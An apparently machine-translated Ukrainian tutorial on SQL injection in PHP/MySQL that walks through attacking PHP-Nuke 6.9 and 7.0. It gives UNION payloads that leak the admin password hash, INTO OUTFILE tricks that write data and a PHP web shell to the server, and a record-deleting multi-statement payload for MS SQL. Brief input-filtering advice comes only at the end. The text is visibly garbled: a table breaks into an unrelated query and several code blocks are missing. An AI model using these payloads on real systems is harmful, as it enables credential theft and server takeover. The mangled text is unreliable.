Зміст:
=================================================
[1] Мова SQL…
[2]… PHP і mySQL
[3]… Основи SQL-injection
[4]… Використання команди UNION
[5]… SQL injection на прикладі PHP-Nuke
[6]… Виведення даних у файл
[7]… Отримання http-шелла
[8]… Методи захисту
[9] Висновок…
=================================================
На різних сайтах присвячених безпеки часто пролітають повідомлення про
знаходження уразливостей впровадження SQL коду в різних скриптах, форумах, движках
та інше. Мабуть дана проблема стає все більш і більш актуальна,
адміністратори вчасно оновлюють на своїх сайтах, автори не пишуть скриптів
скриптів з бажным инклудом, але коли зустрічається скрипт працює з базою
даних помилки програмування, точніше сказати помилки при запитах до бази,
так і лізуть в очі. У даній статті я хотів би описати найбільш часті помилки
призводять до впровадження свого коду в запити до бази, розглянути приклади
эксплоитинга даних баг для отримання потрібної нам інформації з бази ну і подивимося
що з цього всього вийде =)
Приклади будуть наводиться на пхп т. к. імхо це найбільш зручний мова для роботи з
БД, в якості бази даних буде використовуватися mysql версії 4.0.12, хоча
мигцем думаю торкнемося і MS SQL. Для розуміння атак даного класу вам
природно необхідно знати структуру мови SQL. Ну щож цим ми для початку і
займемося.
================================================
—/// Мова SQL
================================================
Для роботи з базами даних використовується мова SQL (Структурований Мову
Запитів) Це мова, яка дає можливість створювати реляційні бази даних
(і працювати з ними), які являють собою набори пов’язаної інформації,
що зберігається в таблицях. Реляційна база даних-це тіло пов’язаної інформації,
зберігається в двовимірних таблицях. Це нагадує адресну або телефонну книгу.
+——————+———————-+————————-+
| name | password | email | < — назви столбцев
+——————+———————-+————————-+
| admin | password | [email protected] | < — д
+——————+———————-+————————-+ < — а
| lamer | qwerty | [email protected] | < — н
+——————+———————-+————————-+ < — н
| hacker | mamba | [email protected] | 2
SELECT * FROM admins WHERE name=’root’;
Оновлення запису:
——————
UPDATE ім’я таблиці SET ім’я поля1=’значення1′, ім’я поля2=’значення2′,… WHERE вираз
У зазначеній таблиці всі записи, які задовольняють висловом, отримують в
перерахованих полях відповідні значення.
Приклади:
UPDATE users SET name=’bad-admin’ WHERE password=’qwerty’;
// У таблиці users у всіх записів у яких варто qwerty у колонці password, значення в колонці
// name зміниться на bad-admin
================================================
—/// PHP і mySQL
================================================
Тепер подивимося, як робота з БД реалізується в пхп.
Для початку роботи з базою нам необхідно встановити з нею з’єднання:
mysql_connect($hostname,$username,$password)
І вибрати базу з якою будемо працювати:
mysql_select_db($dbname)
$hostname сервера БД
$username логін на базі $password пароль до бази $dbname назва бази
Після цього ми можемо віддавати SQL запити з допомогою mysql_query($query) де
$query наш запит.
Наприклад:
# визначаємо сервер, логін, пароль, назва бази
$hostname = ‘localhost’;
$username = ‘root’;
$password = ‘pass’;
$dbname = ‘forum’;
# підключаємося до сервера
mysql_connect ($hostname,$username,$password);
# вибираємо потрібну базу
mysql_select_db($dbname);
# віддаємо запит до БД
$result = mysql_query(«SELECT * FROM table_1»);

?>

Ось в принципі основи які потрібно знати для роботи з БД. Тепер переходимо до
більш цікавого, а саме до способів впровадження свого коду.
================================================
—/// Основи SQL-injection
================================================
Як ви могли помітити тестові дані передаються в sql-запитах укладеними в
лапки data’ звідси можна зробити цікаве зауваження. Якщо до скрипті
дані для sql-запиту беруться з отриманих від користувача змінних і не
фільтруються Тоді ми можемо спробувати вставити в запит цю саму лапку “‘”
Припустимо є скрипт вибирає мило користувача з таблиці у відповідності з
його логіном:
… підключення до БД …
… отримання даних із запиту …
$result = mysql_query(«SELECT mail FROM users WHERE login=’$login’»);

?>

Якщо ми передаємо у змінній $login нормальний текст наприклад «lamer» в SQL
буде виконано запит:
SELECT mail FROM users WHERE login=’lamer’
І все спрацює як треба
А тепер спробуємо вставити лапки: $login=hacker’
І запит буде такою:
SELECT mail FROM users WHERE login=’hacker”
І як ми зможемо побачити цей запит видасть нам помилку. Відмінно =) Зайва
лапки зробила свою справу і ми змогли змінити запит до бази даних.
Найпростіший приклад. Припустимо наведений вище скрипт дозволяє дивитися
користувачеві його реєстраційні дані. Тепер використовуючи лапки ми зможемо
подивитися інфу про всіх користувачів, ось приблизно так:
$login=blah’ OR login=’admin
І sql-запит зміниться на такий:
SELECT mail FROM users WHERE login=’blah’ OR login=’admin’
Тобто замість висновку мила юзера, скрипт видасть нам мило адміна даного скрипта.
Далі ми можемо отримати мила всіх користувачів:
$login=no_user’ OR ‘1’=’1
SQL запит такої стане:
SELECT mail FROM users WHERE login=’no_user’ OR 1’=’1′
Т. к. ‘1’=’1′ завжди запит поверне всі записи з таблиці.
Використання лапки застосовується у разі передачі в запит текстових даних, з
числовими даними все ще простіше. Припустимо скрипт виводить пароль користувача
згідно з його порядковим номером:

При передачі нормального номери скрипт віддає запит до БД і повертає запит
необхідні дані:
SELECT password FROM users WHERE num=7;
Тут ми можемо змінити запит навіть не вдаючись у кавычкам:
$num=1 OR 2
і запит стане:
SELECT password FROM users WHERE num=1 OR 2;
Це основа даного типу атак. Також крім лапки є ще які символи
зможуть нам стане в нагоді.
Крапка з комою “;” служить для поділу sql-запитів до бази даних. До
жаль не підтримується в mysql =( так що далі в статті розглядатися не
буде. У випадку, якщо ми маємо справу з MS SQL в якій дана можливість
підтримується то з її допомогою ми отримуємо можливість віддавати кілька
запитів в одному рядку, наприклад:
Розглянутий вище скрипт:

Якщо працює з MS SQL то змінюємо змінну ось таким чином:
$login=no_user’; delete FROM users WHERE login=’admin
Запит:
SELECT mail FROM users WHERE login=’no_user’; delete FROM users WHERE login=’admin’;
Відповідно ми видалимо запис у якої в поле login значення «admin» =)
Також нам знадобляться “-” і “/*” це символи позначають sql початок
коментаря. Згодиться щоб відсікати зайві дані в запитах.
Наприклад:
$result = mysql_query(«SELECT mail FROM users WHERE login=’$login’ AND post=’123’»);
Якщо ми передамо змінну $login=no_user’ OR ‘1’=’1 запит стане:
SELECT mail FROM users WHERE login=’no_user’ OR ‘1’=’1′ AND post=’123′;
Погодьтеся, не зовсім те, що нам треба =
У цьому випадку нам і стане в нагоді коментування
$login=no_user’ OR ‘1’=’1′;–
або
$login=no_user’ OR ‘1’=’1’/*
Зауважте, що в даному випадку ми самі закриваємо лапки в кінці запиту т. к.
лапки запиту яка раніше закривала змінну тепер буде
закоментована.
Ну щож ми тепер вміємо виводити інформацію з таблиці. Але ви помітили, що ми
обмежені цією таблицею? Тобто Ми не можемо вивести дані з іншої таблиці. Для
отримання даних з інших таблиць нам потрібно більш детальне вивчення
структури запитів і ще одна команда.
================================================
—/// Використання команди UNION
================================================
Отже команда UNION використовується для об’єднання виведення двох або більше запитів SELECT.
Особливості команди які доведеться враховувати:
Коли два (або більше) запиту піддаються об’єднанню, їх стовпці повинні виведення
бути сумісні для об’єднання. Це означає, що кожен запит повинен
вказувати однакову кількість стовпців і в тому ж порядку і кожен повинен
мати тип, сумісний з кожним.
Також дана можливість появилать тільки в mysql версії 4.0 тобто на більш
ранніх версіях БД працювати не буде.
Вид команди такий:
SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;
Де a1 і b1, a2 і b2, b3 a3 і повинні бути однакового типу.
Наприклад:
SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;
Думаю найбільш зручно буде розглянути роботу з цією командою на конкретному
прикладі. Помучити пропоную PHP-Nuke версії 7.0 FINAL. Раджу скачати і
поставити цей рушій. Отже встановлюємо і налаштовуємо нюку. Запускаємо mysql
з веденням логів і приступаємо.
================================================
—/// SQL injection на прикладі PHP-Nuke
================================================
Отже будемо розбиратися з модулем News
127.0.0.1/nuke7/modules.php?name=News&new_topic=1
Ось такий запит виводить перший топік на движку. Спробуємо поставити лапки до
значення new_topic, відповідно тепер запит стає таким:
127.0.0.1/nuke7/modules.php?name=News&new_topic=1′
Віддаємо в браузері запит і дивимося логи mysql:

10 SELECT Query topictext FROM nuke_topics WHERE topicid=’1″
^!!!
10 SELECT Query sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic=’1″ ORDER BY sid DESC limit 10
^!!!

Ось тут наша ковычка себе і проявила =)
Бачите: WHERE topicid=’1″
Розглянемо перший запит:
SELECT topictext FROM nuke_topics WHERE topicid=’1″
Вибірка topictext з таблиці nuke_topics де topicid=1′
Тепер подивимося тип topictext:
+————————-+
| topictext | varchar(40) |
+————————-+
Відмінно тепер спробуємо використовувати команду UNION:
Віддаємо в браузері запит:
modules.php?name=News&new_topic=999′ UNION SELECT pwd from nuke_authors/*
Відмінно =) Замість назви розділу ми бачимо хеш пароля адміна. Що ж сталося.
Знову дивимося логи mysql:
14 SELECT Query topictext FROM nuke_topics WHERE topicid=’999′ UNION SELECT pwd from nuke_authors/*’
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ось він наш запит
Ось воно. Ми робимо вибірку з nuke_topics де topicid=’999′ і даний запит
природно нічого не повертає т. к. такого топіка у нас немає і робимо вибірку
pwd з таблиці nuke_authors і даний запит повертає хеш пароля першого
користувача, який і підставляється в назву розділу. Зауважте, що якщо ми
зазначимо існуючий номер топіка результату ми не отримаємо т. к. буде
підставлено назва цього топіка а не хеш. Тому ми і використовуємо номер 999.
Ось перша вразливість =)
Давайте розглянемо другий запит: ( запит розбитий на кілька рядків для зручності )
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic=’1″ < — Ось тут ми можемо вставити свій sql-код
ORDER BY sid DESC limit 10
Подивимося які типи даних у нас в таблиці nuke_stories:
+———–+————–+
| sid | int(11) |
+———–+————–+
| catid | int(11) |
+———–+————–+
| aid | varchar(30) |
+———–+————–+
| title | varchar(80) |
+———–+————–+
| time | datetime |
+———–+————–+
| hometext | text |
+———–+————–+
| bodytext | text |
+———–+————–+
| comments | int(11) |
+———–+————–+
| counter | mediumint(8) |
+———–+————–+
| topic | int(3) |
+———–+————–+
| informant | varchar(20) |
+———–+————–+
| notes | text |
+———–+————–+
| acomm | int(1) |
+———–+————–+
| score | int(10) |
+———–+————–+
| ratings | int(10) |
+———–+————–+

Тепер розглянемо таблицю nuke_authors на типи записів і складемо запит з
UNION таким чином, щоб типи з таблиці nuke_stories збігалися з типами з
nuke_authors і запит прийме вигляд:
modules.php?name=News&new_topic=999′ UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter -, counter -, counter, pwd, pwd, counter -, counter -, counter FROM nuke_authors /*
Віддаємо запит в браузері і бачимо топік з вмістом хеш пароля =) Тут вже не
обов’язково вказувати неіснуючий топік т. до. все працює і з топиком
існуючим в базі.
Якщо подивитися логи БД то можна побачити що був відданий ось такий запит до бази
даних: запит розбито на 4 блоки для більшої зручності)
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic=’1′
UNION
SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter -, counter -, counter, pwd, pwd, counter -, counter -, counter
FROM nuke_authors
/*
‘ORDER BY sid DESC limit 10
Як ви можете бачити в обох запитах кількість і типи столбцев збігаються.
Запит спеціально розбито на 4 блоки:
1 блок — це перший запит select вибирає з таблиці nuke_stories
2 блок — команда об’єднання запитів union
3 блок — другий запит select який вибирає хеш пароля і лічильник з таблиці nuke_authors
4 блок — все що йде після “/*” буде розглядатися як коментар
================================================
—/// Виведення даних у файл
================================================
До слова сказати, в інеті повно практично однакових статей про sql-injection та
всі вони розповідають про атаки даного типу при використанні MS SQL в якості
сервера бази даних. Звичайно сервак від мелкомягкіх дає приголомшливі поистинне
можливості для злому всього сервера за рахунок можливостей поділу запитів
рядку та інших фішок але це тема іншої статті а у нас на порядку в mysql
якому все не так просто, але це зовсім не погано, це добре т. к. з mysql
возиться складніше а значить цікавіше =) А до чого я це сказав? Та просто в тих
статтях описується злом при авторизації та авторизація там відбувається приблизно
таким запитом:
SELECT * FROM users WHERE login=’blabla’ AND password=’blabla’;
Перекрутити! Не правда-ли? Абсолютно убогий спосіб роботи з базою даних. Навіщо
питається вибирати всі дані з таблиці? Бррр щось мене взагалі не туди
забрало = Ми краще розглянемо авторизацію в PHP-Nuke 6.9. в якому процес
авторизації зроблений більш грамотно і красиво. Зверніть увагу на версію нюкі!
Справа в тому, що у версії 7.0 не вдасться через форму впровадити код з допомогою
лапки т. к. там ця бага прикрита. У версії 7.0 є можливість впровадження коду
в цьому модулі допомогою cookie але ми поки що не будемо чіпати cookie т. к. на
цю тему стаття буде трохи пізніше, а розглянемо впровадження коду просто через
форму авторизації. Для цього й довелося використовувати більш ранню версію. Як
приклад.
Запускаємо 127.0.0.1/phpnuke69/admin.php і бачимо віконце для введення логіна і
пароля. Ну ви напевно вже здогадалися, що ми будемо робити? Звичайно вписуємо в
якості логіна admin’ (не забудьте про лапки) і 123 в кач-ве пароля.
Хммм… Не пускає =) Ну щож всяке буває =) Напевно тому що логін і пароль
в базі інші зовсім =)))
Щож знову ліземо дивитися логи mysql:

1 SELECT Query pwd, admlanguage FROM nuke_authors WHERE aid=’admin”
^ — ось вона, наша рідна лапки =)
Стоп! Ви вже побігли вставляти UNION і SELECT? Рано. Справа в тому що в даному
модулі не відбувається ніякого висновку отриманих даних з БД. Природно разів
немає висновку то і вивести отриманий хеш нам нікуди. Що ж робити. На щастя
mysql є чудова опція збереження вибраних з таблиці даних у файл.
Проводиться цей фінт вухами наступним чином:

SELECT * FROM table INTO OUTFILE ‘шлях_до_файлу/файл’;
Спробуємо зберегти хеш пароля адміна у файлі. Форма введення не дозволяє ввести
довгий логін тому доведеться передавати дані через рядок браузера:
127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin’ INTO OUTFILE ‘pwd.txt
Після запиту даної рядки в БД виповнюється:
9 SELECT Query pwd, admlanguage FROM nuke_authors WHERE aid=’admin’ INTO OUTFILE ‘pwd.txt’
І хеш пароля користувача «admin» виявляється записаний у файл pwd.txt. Але вся
проблема в тому що файл створюється не в корені www-сервера, а в каталозі бази
даних. Для створення файлу у каталозі доступному через web необхідно вказувати
повний шлях:
/phpnuke/admin.php?op=login&pwd=123&aid=admin’ INTO OUTFILE ‘../../../../WWW/www1/phpnuke69/pwd.txt
І тепер вже:
127.0.0.1/phpnuke69/pwd.txt
Видасть нам хеш адміна.
Звичайно необхідно враховувати права доступу і не факт що ви зможете записати
файл у потрібне місце але це зараз не важливо. Головне, що ми змогли сформувати
потрібний запит і створити файл.
================================================
—/// Отримання http-шелла
================================================
Звичайно бази даних це добре, це цікаво і пізнавально, але хочеться чогось
більшого =) Їх є у мене =)
Як ми вже розібралися файли ми можемо створювати. А адже в файл можна записати
будь-яку інфу з бази даних, чому б не скористатися цим і не створити собі
маленький такий http-шелл допомогою створення php файлу з невигадливою і
напевно всім знайомим змістом:
Отже скориставшись одним з описаних вище методів вам вдалося все-таки
отримати хеш пароля адміна і ви благополучно залогинились як адмін движка,
розшифрувавши пароль, або вставивши його в кукис (тема про cookie буде більш докладно
розглянуто в наступній статті) Тепер вам необхідно яким-небудь чином
вставити php-код в одне із значень в базі даних, а потім вивести його у файл.
Ось спосіб, яким я скористався:
Логинимся під адміном. У меню адміністрування входимо в розділ Topics. Створюємо
новий топік.
В поле Topic Name пишемо passthru
в поле Topic Text пишемо:
Тепер згадаємо вразливість, описану вище в цій статті, а саме:
modules.php?name=News&new_topic=999′ UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid=’999′ UNION SELECT pwd from nuke_authors/*’
Тепер нам не треба отримувати хеш пароля, а треба зберегти запис із стовпця «topictext»
127.0.0.1/phpnuke/modules.php?name=News&new_topic=2′ INTO OUTFILE ‘shell.php’ /*
де 2 — номер нового топіка, shell.php — файл який буде створено
Не забудьте прописати шлях до файлу.
Після виконання цього запиту буде створений файл shell.php містить потрібний
нам пхп-код.
================================================
—/// Методи захисту
================================================
Якщо ви все-таки прочитали статтю то напевно вже зрозуміли що єдино вірною
захистом є фільтрація всіх прийнятих даних від користувача. Найкращим
рішенням буде дозволити використання лише букв і цифр. У разі якщо
отримане значення має бути цифрою, проверяейте його перед приміщенням в sql
запит.
Не варто сподіватися на фільтрацію лише однієї лапки т. к. по-перше атакуючий може
використовувати інші символи якщо не впровадження коду, то хоча б для отримання
додаткової інформації (наприклад, про шляхи до сайту) з повідомлень про помилки.
І по-друге якщо скрипт відфільтровує який-небудь символ, то його можна замінити
конструкцією +char(0хКОД_СИМВОЛА)+.
Також зверну увагу що треба фільтрувати всі дані прийшли від користувача
у запитах, в куках, в загальному взагалі все!
================================================
—/// Висновок
================================================
Ну ось і все. Я постарався розглянути найбільш інформативні приклади атак типу
sql-injection. Сподіваюся тепер ви зможете уникнути помилок при кодинге скриптів
працюють з базами даних. Удачі.
P. S. Вся інформація в даній статті служить виключно в освітніх цілях.
Ця стаття лише спроба допомогти авторам сценарію і вказати на можливі
помилки при роботі з базами даних